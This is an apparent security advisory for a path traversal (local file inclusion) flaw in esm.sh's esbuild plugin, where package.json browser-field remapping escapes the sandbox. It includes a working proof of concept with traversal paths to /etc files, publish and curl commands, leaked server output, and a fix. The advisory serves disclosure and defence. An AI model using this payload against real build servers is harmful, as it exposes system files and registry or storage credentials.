EUVD-2026-32911
GHSA-rg65-45m7-hq57
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
1DescriptionNVD
Summary
A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
Details
The vulnerable code is in the OnResolve callback of the esbuild plugin:
https://github.com/esm-dev/esm.sh/blob/main/server/build.go
The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}
// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
if path, ok := pkgJson.Browser[modulePath]; ok {
if path == "" {
return esbuild.OnResolveResult{
Path: args.Path,
Namespace: "browser-exclude",
}, nil
}
if !isRelPathSpecifier(path) {
externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
if err != nil {
return esbuild.OnResolveResult{}, err
}
return esbuild.OnResolveResult{
Path: externalPath,
SideEffects: sideEffects,
External: true,
}, nil
}
modulePath = path
}
}
// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox checkFile contents appear in both the bundled JS output and the source map sourcesContent array.
Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).
Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.
PoC
The test package is published at https://www.npmjs.com/package/chess-sec-utils1
package.json:
{
"name": "chess-sec-utils1",
"version": "1.0.6",
"main": "index.js",
"type": "module",
"browser": {
"./d1.txt": "../../../../../../../../etc/hostname",
"./d2.json": "../../../../../../../../etc/os-release",
"./d3.json": "../../../../../../../../etc/environment"
}
}index.js:
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"Server file contents in source map response:
{
"sourcesContent": [
"ideapad\n",
"PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
"PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
"import d1 from \"./d1.txt\"..."
]
}<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />
Impact
An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.
Fix
Add a path validation check after the browser field remapping:
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}Credit
Svyatoslav Berestovsky of Metascan
Analysis
{ "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } }
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